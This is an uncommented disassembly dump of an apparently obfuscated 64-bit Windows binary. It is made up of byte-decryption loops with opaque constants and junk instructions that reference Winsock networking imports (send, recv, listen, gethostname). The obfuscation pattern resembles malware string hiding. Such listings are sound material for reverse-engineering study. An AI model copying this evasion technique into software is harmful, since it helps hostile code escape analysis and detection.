and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
dec rbx
inc rbx
jmp 0x140086a32
movabs rdx, 0xa53ec3e123209ab0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140086a32
movabs rcx, 0xfdb912aad4c92a36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x140087607
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400871da
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
jmp 0x140086fd8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087218
movabs rcx, 0xbdf789746d2c3a02
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
inc rax
cmp r8, rax
jne 0x140087249
movabs rdx, 0xd02ebe109db1af6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008774f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140087286
movabs rcx, 0xb4889d1758328b70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400872b9
movabs rcx, 0xab19b0ba4338dcde
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
dec rbx
inc rbx
jmp 0x140086a32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140086fd8
movabs rdx, 0xfa251326dfe7bdd2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140087607
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087320
movabs rcx, 0x1cf34e2ea3c25703
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
jmp 0x140087607
inc rax
cmp r8, rax
jne 0x140087355
movabs rcx, 0xc478ff64f219c77d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x140086a32
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140087392
movabs rcx, 0x628fc43e2b778965
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400873c3
movabs rcx, 0xa15757479cef9df
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
jmp 0x14008774f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400873f4
movabs rcx, 0xb19b26aac8266a59
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x14008777f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140086f79
movabs rcx, 0x5920d7e1167ddad3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087474
movabs rcx, 0x7bef12e8da587404
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
inc rax
cmp r8, rax
jne 0x1400874b3
movabs rcx, 0x1a05d7c213b635ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400874e5
movabs rdx, 0xc18b88f8620da666
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140087685
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140086f2a
movabs rcx, 0x69113a2eb06516e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140086a32
movabs rdx, 0x727ff07e9c2d8c8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xe20]
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x140087685
movabs rdx, 0xaeadb03e381a4942
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xe20]
add r10b, dl
add r10b, r11b
jmp 0x14008774f
movabs rcx, 0x4c1dec000ca2bfdd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0xa4983ac9be4b4f63
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0x68175f084ed8d7b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
movabs rcx, 0x3365266cc297208b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x33
add cl, r11b
mov byte [rbp + rbx + 0xe20], cl
inc r9
dec rbx
inc rbx
jmp 0x140086a32
movabs rcx, 0xff0624d99e73c0d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
inc r9
dec rbx
inc rbx
jmp 0x140086a32
movabs rcx, 0xc0e4ffe0fd385b19
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
movabs rdx, 0xdaead7a310ee9105
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x23
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe20], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0x195f4eaaaee0ea9f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
movabs rcx, 0x71d99d7460897a25
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 3
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140086a32
mov r11, rdx
movabs rax, 0xca53ec3e123209ab
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
add r10b, 0x53
movabs rcx, 0x827088d95f46017f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x79
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xe20], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x563361748671b9bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x24
add cl, r11b
mov byte [rbp + rbx + 0xe20], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
movabs rcx, 0x7b4889d1758328b7
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
dec r10b
movzx eax, byte [rbp + rbx + 0xe20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140086a32
movabs rcx, 0x43a889b59b6b7b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
jmp 0x140086a30
movabs rcx, 0x5cb4d7650b5f4737
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
jmp 0x140086a20
lea rsi, [rbp + 0x15fd71c]
jmp 0x14008785f
lea rsi, [rbp + 0x8b8f59]
jmp 0x14008785f
lea rsi, [rbp + 0xe20]
lea rdx, [0x140228040]
lea rcx, [rbp + 0x658]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xe48], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xe49], 0x61
mov byte [rbp + 0xe4a], 0x51
mov byte [rbp + 0xe4b], 0x3d
mov byte [rbp + 0xe4c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe4d], reloc.WS2_32.dll_recv
mov byte [rbp + 0xe4e], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xe4f], reloc.WS2_32.dll_send
mov byte [rbp + 0xe50], 0x9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe51], xmm0
mov qword [rbp + 0xe61], rax
mov word [rbp + 0xe69], ax
movabs r14, 0xc91510150ea37047
movabs r15, 0xb91182d48576c299
movabs r12, 0x7710764cd366ec3
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0xd8d03db7dc2029eb
cmp rbx, 0x23
jae 0x1400887a0
movzx r11d, byte [rbp + rbx + 0xe48]
mov rdx, r11
cmp r8, rbx
ja 0x140088794
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140087981
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x6d
jmp 0x1400879c4
je 0x14008870b
lea rcx, [r9 + 3]
cmp r8, rcx
je 0x14008866f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008863c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140088605
cmp r8, rcx
je 0x1400885d8
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088580
cmp r9, rbx
ja 0x140088788
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400879f6
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xf
add r10b, dl
jmp 0x140087a30
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008855b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140088530
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400884d2
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008849d
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400880fe
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400880d5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400880a3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140088074
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008804c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140088014
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140087fdf
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140087fb6
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140087f8d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140087f53
lea rax, [r9 + 1]
cmp r8, rax
je 0x140087a40
lea r8, [r9 + 0x80]
lea r9, [r8 + 6]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140088763
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008873f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140087c31
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140087c12
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140087bf7
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140087ef0
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140087e90
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x140087e3d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140087e0d
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140087a40
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140087dd3
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140087daa
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140087d82
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140087d4d
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x140087d15
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x140087cec
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140087cbd
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x140087c8b
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140087c62
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140087a40
lea r8, [r9 + 9]
lea r9, [r8 + 0x41]
jmp 0x140087a40
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
jmp 0x140087a30
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
add r10b, dl
jmp 0x1400879c4
movabs rdx, 0x55d08bf514f61aed
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x7b
add r10b, dl
movabs rcx, 0xd8d03db7dc2029eb
jmp 0x14008794f
movabs rdx, 0x48a880a8751b8238
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400885a3
movabs rdx, 0x97080538bcdb2e62
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140087932
movabs rdx, 0xe56789c9049ada8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140087932
movabs rdx, 0x33c70e594c5a86b6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400884f1
movabs rcx, 0x822692e9941a32e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rcx, 0xd0861779dbd9df0a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rdx, 0x1ee59c0a23998b34
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x140088691
movabs rdx, 0x6d45209a6b59375e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400886c1
movabs rdx, 0xbba4a52ab318e388
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
movabs rcx, 0x7f937093667811f1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x69
mov byte [rbp + rbx + 0xe48], r10b
inc rbx
jmp 0x140087932
movabs rdx, 0xcdf2f523ae37be1b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
cmp r9, 0x7a
jb 0x140087e2d
movabs rdx, 0x62f89741b4d0b3a2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400885a3
movabs rdx, 0x1c5279b3f5f76a45
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1d
add r10b, dl
cmp r8, 0xa
jae 0x14008843d
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140088357
movabs rdx, 0x72b3c4e4824d6d46
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140087e5d
movabs rdx, 0x6ab1fe443db7166f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14008846d
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140088249
movabs rdx, 0xa99eb4cf73a9fcff
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
jmp 0x140087eb0
movabs rdx, 0xb67e607e57d4a1aa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
movabs rdx, 0x4dde50e9f944dd4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400886c1
movabs rdx, 0x533d699ee753f9fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140088691
movabs rcx, 0xa19cee2f2f13a628
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rcx, 0xeffc72bf76d35252
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3e
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rdx, 0x3e5bf74fbe92fe7c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x1400884f1
movabs rdx, 0x8cbb7be00652aaa6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140087932
movabs rdx, 0xdb1b00704e1256d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140087932
movabs rdx, 0x297a850095d202fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400885a3
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14008812f
movabs rcx, 0xd8d03db7dc2029eb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
jmp 0x140087f13
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088172
movabs rdx, 0x922a202a1d46e08e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
inc rax
cmp r8, rax
jne 0x1400881a7
movabs rdx, 0x43ca9b99d5873464
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400886c1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400881e5
movabs rcx, 0xa70b92794607dc10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140088216
movabs rcx, 0xa4c8958b68883bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x1400884f1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140087f13
movabs rdx, 0x1f2dfba7df497f3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400885a0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008827b
movabs rdx, 0x5b3f303f2bea50d5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
jmp 0x1400885a0
inc rax
cmp r8, rax
jne 0x1400882b1
movabs rcx, 0xcdfabaee42aa4ab
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x53
inc r9
dec rbx
inc rbx
jmp 0x140087932
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400882e5
movabs rcx, 0xbe80271e9c6af881
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x79
dec rbx
inc rbx
jmp 0x140087932
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140088322
movabs rcx, 0xd361996dc52bf403
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140087eb3
movabs rdx, 0x850214dd7d6c47d9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x11
add r10b, dl
jmp 0x140088691
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008839a
movabs rdx, 0x245440543a8dc11c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400883cf
movabs rdx, 0x87953733ab0e68c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x140088691
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008840a
movabs rdx, 0xffb7a06244500bf6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140087932
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140087e60
movabs rdx, 0xb1581bd1fc905fcc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400885a0
movabs rdx, 0x149912b16d110778
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xe48]
sub r10b, al
sub r10b, 0x48
add r10b, dl
add r10b, r11b
jmp 0x1400884f1
movabs rdx, 0xc6398e2125515b4e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xe48]
sub r10b, 0x22
add r10b, dl
jmp 0x140088691
movabs rcx, 0x7b9670288e662cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
movabs rcx, 0x8f96fdd3efa4bf9f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
movabs rcx, 0xed69506949313163
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4b
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xe48], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rcx, 0xddf6826437646bc9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7f
dec rbx
inc rbx
jmp 0x140087932
movabs rdx, 0x7ab58b84c6e3c41d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x35
jmp 0x1400885a0
movabs rdx, 0x177494a556631c71
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x17
add r10b, dl
movabs rcx, 0x3bc8d4f990f0dd8d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x25
add r11b, cl
mov byte [rbp + rbx + 0xe48], r11b
inc r9
dec rbx
inc rbx
jmp 0x140087932
movabs rcx, 0x65d419359e22c89b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x140087932
movabs rcx, 0x50f2a6e67561cd19
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
movabs rcx, 0x9f522b76bd217943
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x2b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087932
mov r11, rdx
movabs rcx, 0xedb1b00704e1256d
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 5
add r10b, cl
movabs rcx, 0x9f09cbd901718539
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x71
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xe48], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x77da0990dd91af24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe48], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
